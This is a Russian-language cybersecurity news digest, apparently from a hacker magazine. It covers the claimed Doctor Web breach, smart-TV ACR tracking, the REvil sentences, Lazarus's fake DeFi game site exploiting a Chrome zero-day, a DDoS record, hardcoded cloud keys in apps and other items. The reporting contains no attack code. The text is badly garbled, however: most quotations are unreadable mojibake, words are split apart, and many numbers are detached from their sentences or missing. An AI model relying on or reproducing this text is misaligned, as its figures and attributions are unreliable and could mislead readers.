Пред ста вите ли «Док тор Веб» выпус тили офи циаль ное заяв ление, сог- 
ласно которо му сооб щения о взло ме не соот ветс тву ют дей стви тель нос ти.

«

»

«8 îêòÿáðÿ 2024 ãîäà â îäíîì èç Telegram-êàíàëîâ áûëî îïóá ëèêîâà íî
çàÿâ ëåíèå î âçëî ìå èíôðàñòðóê òóðû íàøåé êîì ïàíèè.

Öå ëåâàÿ àòà êà íà íàøè ðåñóð ñû äåé ñòâè òåëü íî áûëà îñó ùåñò âëå íà
â ñåí òÿáðå, ìû ñðà çó ñîîá ùèëè îá ýòîì, âûïóñ òèâ íîâîñòü.

Àòà êà áûëà ñâî åâðå ìåí íî ïðå ñå÷å íà, âñå ðåñóð ñû áûëè îòêëþ ÷åíû
îò ñåòè è ïðîø ëè òùà òåëü íóþ ïðî âåð êó â ñîîò âåòñ òâèè ñ ïðî òîêî ëàìè
áåçîïàñ íîñòè. Îñíîâíîé öåëüþ áûëî òðå áîâà íèå âûêóïà îò íàøåé
êîì ïàíèè, íî ìû íå âåäåì íèêàêèõ ïåðåãî âîðîâ ñî çëî óìûø ëåííè- 
êàìè. Íà äàí íûé ìîìåíò ïðà âîîõ ðàíèòåëü íûå îðãà íû ïðî âîäÿò ðàñ- 
ñëå äîâà íèå, â ñâÿ çè ñ ÷åì ìû íå ìîæåì äàâàòü ïîä ðîáíûå êîì ìåíòà- 
ðèè, ÷òî áû íå ìåøàòü ïðî âåäå íèþ ñëåäñ òâèÿ.

Îïóá ëèêîâàí íàÿ â Telegram èíôîðìà öèÿ â îñíîâíîé ñâî åé ÷àñ òè
íå ñîîò âåòñ òâó åò äåé ñòâè òåëü íîñ òè, ïîëü çîâàòåëü ñêèå äàí íûå çàò- 
ðîíóòû íå áûëè. Êàêîé�ëèáî óãðî çû áåçîïàñ íîñòè íàøèì ïîëü çîâàòå- 
ëÿì íè îáíîâëå íèÿ âèðóñ íûõ áàç, íè îáíîâëå íèÿ ïðîã ðàì ìíûõ
ìîäóëåé íå íåñóò.

Ìû óñè ëèëè ìåðû áåçîïàñ íîñòè âñåõ ðåñóð ñîâ êîì ïàíèè è èçó ÷àåì
âûëîæåí íûå â òåëåã ðàì�êàíàëàõ ñêðèí øîòû íà ïðåä ìåò âûÿâ ëåíèÿ
ñêîì ïðî ìåòè ðîâàí íûõ äàí íûõ», — ïèñàëè ïðåä ñòà âèòå ëè «Äîê òîð
Âåá».

На пом ним, что в сен тябре 2024 года «Док тор Веб» уже  хакеры.
Тог да пред ста вите ли ком пании заяв ляли, что «успешно локали зова ли угро зу
и убе дились, что она не зат ронула кли ентов ком пании», а так же под черки- 
вали, что ник то из поль зовате лей про дук тов ком пании не пос тра дал.

ата кова ли

 VPN-СЕРВИСОВ ПОПАЛИ ПОД БЛОКИРОВКУ197

На форуме «Спектр-2024» гла ва под кон троль ного Рос комнад зору Цен тра монито рин га
и управле ния сетью свя зи обще го поль зования (ЦМУ ССОП) Сер гей Хутор цев сооб щил, что
в нас тоящее вре мя в Рос сии заб локиро вано  VPN-сер висов. По его сло вам, эти сер висы
наруша ют законо датель ство как средс тва обхо да бло киро вок.
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Сто ит отме тить, что в прош лом году дирек тор ЦМУ ССОП сооб щал о бло киров ке в РФ  VPN-
сер висов.
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ТЕЛЕВИЗОРЫ-
ШПИОНЫ
Груп па иссле дова телей пре дуп редила, что в умных телеви зорах круп ных про- 
изво дите лей, вклю чая Samsung и LG, исполь зует ся похожая на Shazam тех- 
нология авто мати чес кого рас позна вания кон тента (Automatic Content
Recognition, ACR), поз воля ющая сле дить за тем, что смот рит поль зователь.

Сог ласно док ладу уче ных из Уни вер ситет ско го кол леджа Лон дона,
Калифор ний ско го уни вер ситета в Дей висе и Мад рид ско го уни вер ситета име- 
ни Кар ла III, сис тема сле жения работа ет даже тог да, ког да телеви зоры
исполь зуют ся в качес тве внеш них дис пле ев, то есть под клю чены через HDMI
к дру гим девай сам. Таким обра зом, ACR может перех ватывать кон тент
с игро вых кон солей или ноут буков, под клю чен ных к ТВ.

Тех нология ACR пред назна чена для про фили рова ния зри тель ской активнос ти
поль зовате лей. Она пери оди чес ки перех ватыва ет кон тент (дела ет скрин- 
шоты), отоб ража емый на экра не устрой ства, а затем сопос тавля ет его
со сво ей биб лиоте кой кон тента, что бы опре делить, что имен но отоб ража ется
на экра не в тот или иной момент.

По доб ные сис темы интегри рова ны непос редс твен но в опе раци онные
сис темы умных ТВ, а black-box-аудит сетево го тра фика ACR меж ду кли ента ми
на смарт-телеви зорах и сер верами выявил замет ные раз личия в работе этой
тех нологии в США и Великоб ритании.

К при меру, ока залось, что в США ACR активна во вре мя прос мотра бес- 
плат ного стри мин гового телеви дения с под дер жкой рек ламы (FAST), в то вре- 
мя как в Великоб ритании она отклю чена в этом слу чае. То есть на работу фун- 
кции нап рямую вли яют законы о кон фиден циаль нос ти дан ных раз ных стран.
Так же ACR не работа ет при прос мотре Netix или YouTube. При этом под- 
черки вает ся, что ста тус вхо да поль зовате ля в сис тему (залоги нен человек
или нет) никак не вли ял на поведе ние ACR.

Ис сле дова тели говорят, что с момен та сво его появ ления в 2011 году ACR
была адап тирова на для иден тифика ции самых раз ных видов кон тента. Такие
ком пании, как DirecTV и Viggle, интегри рова ли ACR в эко сис тему телеви зоров,
а Samsung сот рудни чала с ком пани ей, занима ющей ся рас позна вани ем кон- 
тента, что бы интегри ровать ACR в свои умные ТВ. Ком пания LG, еще один
круп ный игрок на рын ке ТВ, внед рила ACR в свои устрой ства еще в 2013 году,
бла года ря пар тнерс тву с ком пани ей Cognitive Networks.

«

»

«Êîã äà ACR âêëþ ÷åíà íà òåëåâè çîðàõ LG, óñòðîé ñòâà ñâÿ çûâà þòñÿ
ñ îäíèì äîìåíîì (eu-acrX.alphonso.tv, ãäå X — ïðî èçâîëü íîå ÷èñ ëî,
êîòîðîå ïåðè îäè ÷åñ êè ìåíÿ åòñÿ). Ýòîò äîìåí ïðè íàä ëåæèò òåõ íîëîãè- 
÷åñ êîé êîì ïàíèè Alphonso, êîòîðàÿ óïðàâëÿ åò LG Ad Solutions, —
ãîâîðèò ñÿ â îò÷å òå ñïå öèàëèñ òîâ. — Â ñâîþ î÷å ðåäü, óñòðîé ñòâà
Samsung ñâÿ çûâà þòñÿ ñðà çó ñ íåñ êîëü êèìè ACR-äîìåíà ìè (acr-eu-
prd.samsungcloud.tv, acr0.samsungcloudsolution. com, log-
config.samsungacr.com, log-ingestion-eu.samsungacr.com)».

ACR-слеж ка уже вызыва ла бес покой ство и воп росы, свя зан ные с кон фиден- 
циаль ностью. В час тнос ти, в суд на ком панию Vizio подава ла Федераль ная
тор говая комис сия США, обви няя ком панию в про даже дан ных о кли ентах
треть им лицам, которые затем исполь зовали их для показа людям пер- 
сонали зиро ван ной рек ламы. Этот иск был уре гули рован в далеком 2017 году:
тог да Vizio сог ласилась пре дос тавлять более чет кую информа цию о сбо ре
дан ных и внед рить механиз мы отка за.

Ис сле дова тели пре дуп редили, что, нев зирая на сущес тво вание механиз- 
мов отка за в наши дни, фак тичес ки отка зать ся от такой слеж ки может быть
весь ма неп росто и зачас тую для это го пот ребу ется углублен ное изу чение
раз личных нас тро ек в мно гочис ленных под разде лах, а уни вер саль ного вык- 
лючате ля поп росту не сущес тву ет.

« »
«Êðî ìå òîãî, íåÿñ íî, ðàáîòà þò ëè ýòè ñðåäñ òâà êîí òðî ëÿ êîí ôèäåí- 
öèàëü íîñ òè òàê, êàê áûëî çàäóìà íî èçíà ÷àëü íî», — ïèøóò ñïå öèàëèñ- 
òû.

Впро чем, в отче те ска зано, что пос ле отка за от отсле жива ния вся свя зан ная
с ACR сетевая активность дей стви тель но прек раща ется.

Эк спер ты подыто жива ют, что в будущем пла ниру ют изу чить более прод- 
винутые MITM-методы сле жения, что бы луч ше разоб рать ся в полез ных наг-
рузках и понять связь меж ду ACR-отсле жива нием и тар гетиро ван ной рек- 
ламой в умных телеви зорах.

ГЕНПРОКУРОР РФ РАСКРИТИКОВАЛ УРОВЕНЬ
РАСКРЫВАЕМОСТИ КИБЕРПРЕСТУПЛЕНИЙ
Ге нераль ный про курор РФ Игорь Крас нов под верг кри тике работу пра воох ранитель ных орга нов
за уро вень рас кры ваемос ти кибер прес тупле ний. Он сооб щил, что «ситу ация усу губ ляет ся
наруше ниями в деятель нос ти орга нов рас сле дова ния и опе ратив ных служб». По его сло вам,
нес мотря на наличие в ведомс твах спец подраз делений по про тиво дей ствию кибер прес тупнос- 
ти, работа дол жным обра зом не ведет ся, обсто ятель ства получе ния дос тупа к пер сональ ным
дан ным и их исполь зования в кри миналь ных целях зачас тую не уста нав лива ются.

Так же недос таточ но раз вит элек трон ный докумен тообо рот пра воох раните лей с орга низа- 
циями финан сового рын ка и сотовы ми опе рато рами, что при водит к дли тель ному получе нию
опе ратив но зна чимой информа ции.

→ «Отме чает ся шаб лонность и безыни циатив ность про води мой опе ратив ной
работы, отсутс твие нас тупатель нос ти, недос таточ ная эффектив ность пред- 
варитель ного рас сле дова ния. Во мно гих делах, как говорит ся, меж ду дву мя
короч ками боль ше ничего и нет. И таких дел в мас шта бах стра ны тысячи.
Как резуль тат, рас кры ваемость дан ного вида прес тупле ний оста ется одной
из самых низ ких. На про тяже нии пос ледних лет она не пре выша ет 27%, а в
текущем году еще ниже — 25,9%», — заявил Крас нов.

ПРИГОВОРЫ
УЧАСТНИКАМ REVIL
Санкт-Петер бург ский гар низон ный воен ный суд огла сил при говор Арте му
Заецу, Алек сею Малозе мову, Дани илу Пузырев ско му и Рус лану Хан свя рову,
которых свя зыва ют с извес тной хак груп пой REvil. Про тив еще четырех учас-
тни ков воз бужде но новое уго лов ное дело, которое выделе но в отдель ное
про изводс тво и нап равле но в Генераль ную про кура туру РФ.

На пом ним, что активность груп пиров ки REvil прек ратилась в янва- 
ре 2022 года, пос ле того как  об арес те 14 человек, свя зан ных
с груп пой, и про вела обыс ки по 25 адре сам в Мос кве, Санкт-Петер бурге,
Ленин градской и Липец кой областях. Тог да сооб щалось, что «осно вани ем
для разыс кных мероп риятий пос лужило обра щение ком петен тных орга нов
США».

ФСБ объ яви ла

В ито ге Твер ской суд Мос квы зак лючил под стра жу восемь пред полага- 
емых учас тни ков хак груп пы. Всем им были предъ явле ны обви нения в совер- 
шенных орга низо ван ной груп пой при обре тении и хра нении элек трон ных
средств, пред назна чен ных для неп равомер ного осу щест вле ния перево да
денеж ных средств (ч. 2 ст. 187 УК РФ).

Од нако следс твие смог ло вме нить в вину вось ми пред полага емым зло- 
умыш ленни кам лишь два дис танци онных хищения средств, к тому же совер- 
шенных в США неиз вес тно у кого, где и на какую сум му. СМИ сооб щали, что
потер певших, рав но как и ущер ба, в уго лов ном деле нет.

В мае 2022 года , что аме рикан ские влас ти отка зались
от даль нейше го сот рудни чес тва с Рос сией, и обви нить подоз рева емых смог- 
ли толь ко в махина циях с бан ков ски ми кар тами двух живущих в США мек- 
сикан цев.

ста ло извес тно

В прош лом году СМИ писали, что дело хак груп пы, по сути, заш ло в тупик.
В окон чатель ной редак ции дела всех фигуран тов обви нили по 24 эпи зодам
«изго тов ления и сбы та под дель ных кре дит ных либо рас четных карт» (ст.
187 УК РФ), а пред полага емо му лидеру груп пы — жителю Санкт-Петер бурга
Дани илу Пузырев ско му — добави ли еще и обви нение по ст. 273 УК РФ, пре- 
дус матри вающей ответс твен ность за «соз дание или исполь зование компь- 
ютер ных прог рамм для унич тожения или бло киро вания компь ютер ной
информа ции, а так же ней тра лиза ции средств ее защиты».

Де ло в том, что одну из прог рамм, обна ружен ную в ноут буках обви няемых,
наз начен ная следс тви ем экспер тиза приз нала вре донос ной.

Фак тичес ки следс твие уста нови ло, что ни одно го прес тупле ния в Рос сии
обви няемые не совер шили, а обе щан ные доказа тель ства их воз можной при- 
час тнос ти к финан совым афе рам в США Гос депар тамент так и не пред ста- 
вил.

Тог да адво кат одно го из фигуран тов дела заяв лял, что ни один из «пред- 
полага емых чле нов REvil» не приз наёт как свою связь с груп пиров кой, так
и при час тность к осталь ным вме нен ным в вину прес тупле ниям. По сло вам
защит ника, обви нение в незакон ном обо роте пла теж ных средств, предъ- 
явленное в том чис ле его кли енту, базиро валось исклю читель но на «наборе
из 24 16-знач ных чисел», изъ ятых с сер вера в Санкт-Петер бурге.

Следс твие соч ло, что в упо мяну тых стро ках отра жены номера бан ков ских
карт, которы ми обви няемые дис танци онно зав ладели, сде лав их копии.
При этом, по сло вам адво ката, следс твие не смог ло уста новить вла дель цев
карт и даже наз вания выпус тивших их отде лений инос тран ных бан ков.

Так, жер тва ми REvil, по вер сии следс твия, ста ли две граж данки США мек- 
сикан ско го про исхожде ния — некие Otilia Pevez и Otilia Sisniega Pevez. С их
бан ков ских карт обви няемые яко бы дис танци онно похити ли некую сум му
денег, истра тив ее на при обре тение товаров в интернет-магази нах. Одна ко
най ти этих жен щин не уда лось.

Что каса ется обви нения в исполь зовании вре донос ных прог рамм, защит- 
ник счел и его по мень шей мере необос нован ным. По его сло вам, ст. 273 УК
РФ пред полага ет уго лов ную ответс твен ность лишь за исполь зование при- 
ложе ний-вымога телей в корыс тных целях, а не за их хра нение на жес тком
дис ке. «Следс твие, воз можно, перепу тало ст. 273 со ст. 222 УК РФ, кара- 
ющей за сам факт хра нения ору жия», — отме чал адво кат.

В ито ге обви нить пред полага емых учас тни ков REvil уда лось лишь
в незакон ном исполь зовании бан ков ских карт и хра нении вре донос ной прог- 
раммы. Так же не уда лось выяс нить и про исхожде ние изъ ятой у обви няемых
налич ности (426 мил лионов руб лей, 600 тысяч дол ларов и 500 тысяч евро),
а при над лежащую им крип товалю ту экспер ты даже не взя лись оце нивать.

Как сооб щили СМИ в кон це октября 2024 года, суд приз нал Заеца,
Малозе мова, Пузырев ско го и Хан свя рова винов ными в неп равомер ном обо- 
роте средств пла тежей (ч. 2 ст. 187 УК РФ). Пузырев ско го и Хан свя рова так же
приз нали винов ными в уже упо мяну том исполь зовании и рас простра нении
вре донос ных прог рамм (ч. 2 ст. 273 УК РФ).

В резуль тате Заеца и Малозе мова при гово рили к 4,5 и 5 годам в колонии
обще го режима, а Хан свя ров и Пузырев ский получи ли по 5,5 и 6 лет соот- 
ветс твен но.

Так как обви нения по «делу REvil» были предъ явле ны вось ми людям,
в отно шении еще чет верых — Андрея Бес сонова, Миха ила Голова чука,
Романа Муром ско го и Дмит рия Корота ева — воз бужде но новое уго лов ное
дело по статье о неп равомер ном дос тупе к компь ютер ной информа ции (ст.
272 УК РФ).

По информа ции СМИ, это дело выделе но в отдель ное про изводс тво
и нап равле но в Генераль ную про кура туру РФ для пос леду юще го соеди нения
уго лов ных дел. При этом, как выяс нилось во вре мя про цес са, основная часть
доказа тель ств сто роны обви нения стро илась на показа ниях сви дете ля —
Алек сея Ско робо гато ва, которо го пра воох раните ли так же свя зыва ют с REvil.

УТЕКЛИ  БД РОССИЙСКИХ КОМПАНИЙ210

Эк спер ты FAССT под счи тали, что за девять месяцев 2024 года на хак форумах и в Telegram-
каналах было опуб ликова но  баз с дан ными кли ентов рос сий ских ком паний. По срав нению
с ана логич ным пери одом прош лого года количес тво сли тых баз уве личи лось на 
(в 2023 году было опуб ликова но толь ко  БД).

210
37,25%

153

Ко личес тво ском про мети рован ных записей при этом вырос ло на  и сос тавило
 строк. При этом нуж но учи тывать, что зло умыш ленни ки не всег да сооб щают

об успешных ата ках, поэто му реаль ные объ емы уте чек могут быть боль ше.

7,76%
250,5 мил лиона

Ин терес но, что, сог ласно ста тис тике Рос комнад зора, с янва ря по сен тябрь 2024 года было
офи циаль но зафик сирова но толь ко  фак тов уте чек пер сональ ных дан ных. В РКН уточ нили,
что чаще все го утеч ки про исхо дили у ком паний в сфе ре ока зания услуг и тор говли.
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DEFI-ИГРА LAZARUS
В «Лабора тории Кас пер ско го» рас ска зали о слож ной кам пании северо корей- 
ской хак груп пы Lazarus. Для атак на поль зовате лей зло умыш ленни ки соз дали
вре донос ный сайт тан ковой DeFi-игры, в которой яко бы мож но было получать
наг рады в крип товалю те. Таким спо собом хакеры экс плу ати рова ли уяз- 
вимость нулево го дня в бра узе ре Google Chrome .CVE-2024-4947

Все началось с того, что в мае 2024 года экспер ты обна ружи ли новый
вари ант бэк дора Manuscrypt на машине одно го из кли ентов в Рос сии.
Manuscrypt пред став ляет собой пол нофун кци ональ ный бэк дор, который
Lazarus при меня ет как минимум с 2013 года.

Он исполь зовал ся более чем в 50 уни каль ных кам пани ях, нап равлен ных
на пра витель ствен ные учрежде ния, дип ломати чес кие ведомс тва, финан- 
совые инсти туты, под рядчи ков в сфе ре ВПК, крип товалют ную индус трию, IT-
и телеком муника цион ные ком пании, раз работ чиков игр, СМИ, казино, уни- 
вер ситеты, ИБ-иссле дова телей и так далее.

Так как Lazarus ред ко ата кует физичес ких лиц, это выз вало инте рес у спе- 
циалис тов, и они решили изу чить этот слу чай более вни матель но. Выяс- 
нилось, что зараже нию пред шес тво вала ата ка на 0-day-уяз вимость в бра узе- 
ре Chrome.

Ока залось, что экс плу ата ция уяз вимос ти ухо дила кор нями к сай ту
detankzone[.]com (в нас тоящее вре мя заб локиро ван), на котором рек ламиро- 
валась осно ван ная на NFT тан ковая MOBA-игра под наз вани ем DeTankZone.

На сай те поль зовате лям пред лагали ска чать проб ную вер сию игры,
в осно ве которой лежала модель play-to-earn. Суть игры зак лючалась в сра- 
жени ях на вир туаль ных NFT-тан ках с сопер никами по все му миру, за что яко- 
бы мож но было получать наг рады в крип товалю те. При этом игру дей стви- 
тель но мож но было запус тить, одна ко все перес тавало работать пос ле экра- 
на вхо да/регис тра ции, пос коль ку внут ренняя инфраструк тура была отклю- 
чена.

Ин терес но, что в ито ге иссле дова тели наш ли реаль ную игру
(DeFiTankLand), которая, по всей видимос ти, пос лужила про тоти пом для вре- 
донос ной вер сии. Хакеры прак тичес ки пол ностью пов торили ее дизайн: отли- 
чия зак лючались лишь в рас положе нии логоти па и более низ ком качес тве
визу аль ного офор мле ния. Пред полага ется, что за осно ву был взят укра ден- 
ный исходный код и ата кующие лишь замени ли логоти пы и убра ли все
отсылки к реаль ной игре.

Учас тни ки Lazarus нес коль ко месяцев рек ламиро вали DeTankZone в соци- 
аль ных сетях, фишин говых пись мах и с пре миум-акка унтов в LinkedIn, которые
исполь зовались для пря мых атак на кон крет ных поль зовате лей. Так же они
пытались прив лечь для рек ламы игры инфлю енсе ров из сфе ры крип товалют,
а затем пред положи тель но пред при нима ли попыт ки ата ковать и их акка унты.

При этом игра была толь ко прик рыти ем и не явля лась вре донос ной сама
по себе. А вот сайт DeTankZone содер жал скры тый скрипт (index.tsx), который
поз волял заг рузить и выпол нить экс пло ит для Chrome. То есть для зараже ния
устрой ства было дос таточ но прос то зай ти на сайт, начинать и запус кать саму
игру не тре бова лось.

Продолжение статьи →

https://xakep.ru/2024/09/17/dr-web-attack/
https://xakep.ru/2022/01/14/revil-fsb/
https://xakep.ru/2022/05/27/revil-investigation/
https://xakep.ru/2024/05/16/one-more-chrome-zero-day/


 Начало статьи←

Глав ная стра ница сай та с вре донос ным скрип том

Экс пло ит содер жал код для двух уяз вимос тей: пер вая исполь зует ся для чте- 
ния памяти про цес са Chrome и записи в нее с помощью JavaScript, а вто- 
рая — для обхо да песоч ницы V8.

Од ной из этих уяз вимос тей была 0-day CVE-2024-4947, пред став ляющая
собой ошиб ку несо ответс твия исполь зуемых типов дан ных в движ ке
V8 от Google на откры том исходном коде JavaScript и WebAssembly. Она поз- 
воляла получить кон троль над устрой ством жер твы: выпол нять про изволь ный
код, обхо дить защит ные фун кции и осу щест влять вре донос ную активность.

Пос ле того как «Лабора тория Кас пер ско го» сооб щила об уяз вимос ти
пред ста вите лям Google, проб лема была устра нена в мае 2024 года.

Шелл-код, который затем исполь зовал ся Lazarus, слу жил в качес тве инс- 
тру мен та раз ведки, помогая хакерам опре делить цен ность взло ман ной
машины и решить, сто ит ли про дол жать ата ку далее. Код собирал информа- 
цию о про цес соре, BIOS и ОС, выпол нял анти вирус ные и анти отла доч ные
про вер ки и отправ лял соб ранные дан ные на управля ющий сер вер зло умыш- 
ленни ков.

Изу чить пос леду ющие шаги хакеров не уда лось, так как на момент про- 
веде ния ана лиза груп пиров ка уже уда лила экс пло ит с сай та-при ман ки.

НОВЫЙ DDOS-РЕКОРД
Ком пания Cloudare сооб щила, что недав но отра зила DDoS-ата ку, которая уста нови ла новый
рекорд.

По сло вам гла вы Cloudare Мэттью Прин са (Matthew Prince), пиковая мощ ность ата ки дос тигла
 и  пакетов в секун ду (PPS). Ата ка была нап равле на на неназ- 

ванно го кли ента неназ ванно го хос тинг-про вай дера, который поль зует ся услу гами Cloudare.
3,8  Тбит/с 2,14  мил лиар да

Пре дыду щий рекорд в этой области был уста нов лен еще в кон це 2021 года, ког да ком пания
Microsoft зафик сирова ла ата ку мощ ностью  и  PPS.3,47 Тбит/с 340 мил лионов

Но вая рекор дная ата ка дли лась поч ти месяц и сос тояла более чем из  отдель ных гиперобъ- 
емных (hyper-volumetric) DDoS-атак. Мно гие из них были нап равле ны на сетевую инфраструк- 
туру цели (L3 и L4), а их мощ ность пре выша ла  PPS и .

100

2 мил лиар да 3 Тбит/с

За ражен ные устрой ства, с которых велась ата ка, были раз бро саны по все му миру и находи лись
в , , ,  и .Рос сии Вь етна ме США Бра зилии Ис пании

КЛЮЧИ В КОДЕ
Мно гие популяр ные при ложе ния для iOS и Android содер жат жес тко закоди- 
рован ные, незашиф рован ные учет ные дан ные для облачных сер висов, вклю- 
чая Amazon Web Services (AWS) и Microsoft Azure Blob Storage, пре дуп редили
в Symantec.

Ис сле дова тели объ ясня ют, что утеч ка таких клю чей может дать зло умыш- 
ленни кам несан кци они рован ный дос туп к хра нили щам и базам дан ных с кон- 
фиден циаль ными дан ными и в целом явля ется гру бым наруше нием безопас- 
ности. При этом отме чает ся, что в основном клю чи попада ют в кодовые базы
при ложе ний из-за оши бок, халат ности и пло хих прак тик раз работ чиков.

«
»

«Ýòî îïàñ íàÿ ñèòó àöèÿ, âåäü ëþáîé ÷åëîâåê, èìå þùèé äîñ òóï
ê áèíàð íîìó èëè èñõîäíî ìó êîäó ïðè ëîæå íèé, ñìî æåò èçâëå÷ü ýòè
ó÷åò íûå äàí íûå è èñïîëü çîâàòü èõ äëÿ ìàíèïó ëèðî âàíèÿ äàí íûìè
èëè èõ êðà æè, ÷òî ïðè âåäåò ê ñåðü åçíûì íàðóøå íèÿì áåçîïàñ- 
íîñòè», — ãîâîðÿò ñïå öèàëèñ òû.

Эк спер ты обна ружи ли учет ные дан ные от облачных сер висов в сле дующих
при ложе ниях в магази не Google Play:

 (более 5 мил лионов заг рузок) — жес тко закоди рован ные учет- 

ные дан ные Amazon;

• Pic Stitch

 (более 5 мил лионов заг рузок) — жес тко закоди рован ные
учет ные дан ные Amazon;

• Meru Cabs

 (более 500 тысяч заг рузок) — жес тко закоди- 

рован ные учет ные дан ные Microsoft Azure Blob Storage;

• ReSound Tinnitus Relief

 (более 100 тысяч заг рузок) — жес тко закоди рован ные учет ные

дан ные Microsoft Azure Blob Storage;

• Saludsa

 (более 100 тысяч заг рузок) — жес тко закоди рован- 
ные учет ные дан ные Microsoft Azure Blob Storage;

• Chola Ms Break In

 (более 100 тысяч заг рузок) — жес тко

закоди рован ные учет ные дан ные Twilio;

• EatSleepRIDE Motorcycle GPS

 (более 100 тысяч заг рузок) — жес тко закоди- 

рован ные учет ные дан ные Microsoft Azure Blob Storage.

• Beltone Tinnitus Calmer

Ана логич ная проб лема была най дена и в ряде популяр ных при ложе ний
в Apple App Store:

 (более 3,9 мил лиона оце нок) — жес тко закоди рован ные учет ные

дан ные Amazon;

• Crumbl

 (более 402,1 тысячи оце нок) — жес тко

закоди рован ные учет ные дан ные Amazon;

• Eureka: Earn money for surveys

 (более 357,9 тысячи оце нок) — жес тко
закоди рован ные учет ные дан ные Amazon;

• Videoshop — Video Editor

 (более 244,8 тысячи оце нок) — жес тко

закоди рован ные учет ные дан ные Amazon;

• Solitaire Clash: Win Real Cash

 (более 235 тысяч оце нок) — жес тко

закоди рован ные учет ные дан ные Amazon.

• Zap Surveys — Earn Easy Money

Сто ит отме тить, что App Store не ука зыва ет дан ные о количес тве заг рузок,
но обыч но их количес тво пре выша ет ука зан ное количес тво оце нок.

Ис сле дова тели пишут, что уста нов ка таких при ложе ний, конеч но, не озна- 
чает авто мати чес кую ком про мета цию устрой ства, одна ко сущес тву ет риск
того, что хакеры зав ладе ют кон фиден циаль ными дан ными поль зовате лей,
если раз работ чики не при мут меры и не устра нят проб лему.

В Symantec не в пер вый раз пре дуп режда ют об этой опас ности. Так,
еще в 2022 году иссле дова тели , что обна ружи ли более 1800 при- 
ложе ний для iOS и Android, в коде которых содер жатся учет ные дан ные AWS.
При чем в 77% слу чаев это были дей стви тель ные токены дос тупа.

пи сали

 «СЕРЫХ» SIM-КАРТ ЗАБЛОКИРОВАЛИ
С НАЧАЛА ГОДА
6 200 000

В Рос комнад зоре (РКН) сооб щили, что с начала года было заб локиро вано 
мошен ничес ких звон ков. При этом в ведомс тве отме тили, что для таких звон ков и сооб щений
прес тупни ки час ти исполь зуют «серые» SIM-кар ты без уста нов ленно го вла дель ца.

456  мил лионов

По дан ным РКН, с нояб ря 2023 года по сен тябрь 2024 года было выяв лено 
наруше ний в дос товер ности све дений об або нен тах. Из них  наруше ний уже
исправ лены — опе рато ры внес ли кор рек тные дан ные.

93,9 мил лиона
85,7 мил лиона

Так же  SIM-карт, офор млен ных с наруше ниями, были заб локиро ваны, либо
догово ры по ним были рас тор гну ты. А еще  SIM-карт по-преж нему про ходят про- 
вер ку.

6,2  мил лиона
2 мил лиона

КРИПТОВАЛЮТА ФБР
Аме рикан ские влас ти заяви ли, что некото рое вре мя назад ФБР соз дало
собс твен ную крип товалю ту, которая исполь зовалась для рас сле дова ния
манипу лиро вания ценами на крип торын ках. Отме чает ся, что соз данный ФБР
Ethereum-токен и одно имен ная ком пания NexFundAI были раз работа ны
при под дер жке сви дете лей, содей ству ющих следс твию.

NexFundAI рек ламиро валась как про ект, находя щий ся «на пересе чении
финан сов и искусс твен ного интеллек та». Ее целью яко бы было «соз дание
крип товалют ного токена, который не толь ко пос лужит надеж ным средс твом
сбе реже ния, но и выс тупит в качес тве катали зато ра позитив ных изме нений
в сфе ре ИИ».

«

»

«Òðè ìàð êåò�ìåé êåðà — ZM Quant, CLS Global è MyTrade — è èõ ñîò- 
ðóäíè êè îáâè íÿþò ñÿ â òîì, ÷òî îíè ó÷àñ òâî âàëè â „îòìû âî÷ íîé“ òîð- 
ãîâëå (wash trade) è/èëè âñòó ïèëè â ñãî âîð ñ öåëüþ îñó ùåñò âëå íèÿ
„îòìû âî÷ íîé“ òîð ãîâëè îò èìå íè NexFundAI, êðèï òîâàëþò íîé êîì- 
ïàíèè è òîêåíà, ñîç äàííî ãî ïî óêà çàíèþ ïðà âîîõ ðàíèòåëü íûõ îðãà íîâ
â ðàì êàõ ïðà âèòåëü ñòâåí íîãî ðàñ ñëå äîâà íèÿ. ×åò âåðòûé ìàð êåò�ìåé- 
êåð, êîì ïàíèÿ Gotbit, à òàê æå åå CEO è äâà äèðåê òîðà òàê æå îáâè- 
íÿþò ñÿ â ó÷àñ òèè â àíà ëîãè÷ íîé ñõå ìå», — ñîîá ùàåò Ìèíèñ òåðñ òâî
þñòè öèè ÑØÀ.

Тер мином wash trade обыч но обоз нача ют фор му манипу лиро вания рын ком,
ког да учас тни ки рын ка соз дают искусс твен ную активность, одновре мен но
про давая и покупая одни и те же акти вы.

В общей слож ности рас сле дова ние зат рагива ет 18 человек и орга низа- 
ций. При этом пять человек либо уже приз нали свою вину, либо сог ласились
приз нать ее в будущем. Сооб щает ся, что еще трое обви няемых арес тованы
в США, Великоб ритании и Пор тугалии.

Эта опе рация пра воох раните лей получи ла наз вание Token Mirrors. Бла- 
года ря NexFundAI было кон фиско вано более 25 мил лионов дол ларов в крип- 
товалю те и отклю чены мно гочис ленные тор говые боты, сто ящие за вош-трей- 
дин гом.

Сог ласно судеб ным докумен там, обви няемые про води ли фик тивные сдел- 
ки с исполь зовани ем собс твен ных токенов, что бы соз дать впе чат ление, что
это хорошие инвести ции, тем самым прив лекая новых инвесто ров и покупа- 
телей и искусс твен но завышая тор говые цены. Затем подоз рева емые про- 
дава ли свои токены по новым ценам, дей ствуя в рам ках клас сичес кой схе мы
pump-and-dump.

«
»

«ÔÁÐ ïîø ëî íà áåñ ïðå öåäåí òíûé øàã — ñîç äàëî ñîáñ òâåí íûé êðèï- 
òîâàëþò íûé òîêåí è êîì ïàíèþ, ÷òî áû âûÿâèòü, ïðå ñå÷ü è ïðèâ ëå÷ü
ê îòâåòñ òâåí íîñòè ýòèõ ïðåä ïîëàãà åìûõ ìîøåí íèêîâ», — ñîîá ùèëè
â ÔÁÐ.

ВЗЛОМ DRM DENUVO
Спе циалист Уни вер ситета Север ной Кароли ны в Чапел-Хил ле Уиль ям Фоль кман (William
Volckmann) опуб ликовал работу, пос вящен ную взло му защиты Denuvo и вли янию пиратс тва
на доходы игро вой индус трии.

Ока залось, взлом DRM-защиты прак тичес ки не вли яет на про дажи игр уже через 
пос ле их релиза.

12  недель

Для сво его иссле дова ния эксперт исполь зовал выбор ку из  с защитой Denuvo, исходно
выпущен ных в Steam в пери од с сен тября 2014 года по конец 2022 года.

86 игр

По тери изда телей игр от взло ма Denuvo нап рямую зависят от того, как быс тро появ ляет ся кряк.
По дан ным Фоль кма на, игра с защитой Denuvo, взло ман ная в  пос ле релиза,
может при нес ти изда телю на  мень ше доходов.

пер вую неделю
20%

Но если кряк появ ляет ся через  пос ле релиза игры, это лиша ет изда теля лишь
 от теоре тичес кого дохода. Через 12 недель новые про дажи игры и вов се ста новят ся нас- 

